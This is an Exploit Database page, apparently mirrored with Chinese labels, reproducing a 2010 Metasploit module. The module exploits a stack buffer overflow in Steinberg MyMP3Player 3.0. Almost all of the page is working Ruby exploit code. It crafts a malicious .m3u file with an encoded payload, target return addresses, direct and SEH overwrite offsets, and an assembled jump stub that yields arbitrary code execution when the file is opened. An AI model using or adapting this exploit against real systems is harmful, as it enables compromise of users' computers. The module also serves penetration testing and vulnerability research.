Steinberg MyMP3Player 3.0 – Local Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16633/

• ##
  # $Id: mymp3player_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Steinberg MyMP3Player 3.0 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When
  				the application is used to open a specially crafted m3u file, a buffer overflow occurs
  				allowing arbitrary code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'n3w7u', # original
  					'm_101'
  				],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'OSVDB', '64580'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/11791' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 900,
  					'BadChars' => "\x00\x0a\x0d\x5c",
  					'DisableNops'=> true,
  					'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Ret' => 0x0043bea3 } ],# call ecx in My MP3.exe v3.0.0.67
  					[ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ],# p/p/r in My MP3.exe v3.0.0.67
  					[ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Mar 18 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		# direct ret overwrite at offset 1024
  		# nseh overwrite at offset 1040
  		ret_offset = 1024
  		seh_offset = 1040
  
  		# start with the payload
  		m3u = payload.encoded
  
  		if (target.name =~ /SEH/)
  			m3u << rand_text_alphanumeric(seh_offset - m3u.length)
  			# ensure bad,no-nul addr for ret (trigger SEH)
  			m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')
  
  			# We utilize a small stub near the end of the buffer space to
  			# continue to the real shellcode...
  			# NOTE: the push is to avoid a badchar (0x5c)
  			stub = <<-EOF
  push ecx
  sub esp,-0x1a8
  ret
  EOF
  			stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
  			m3u[seh_offset - stub.length, stub.length] = stub
  
  			# Jump back to the stub
  			jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
  			seh = ''
  			seh << jmp2
  			seh << rand_text(2)
  			seh << [target.ret].pack('V')
  			m3u << seh
  		else
  			m3u << rand_text_alphanumeric(1024 - m3u.length)
  			m3u << [target.ret].pack('V')
  		end
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(m3u)
  
  	end
  
  end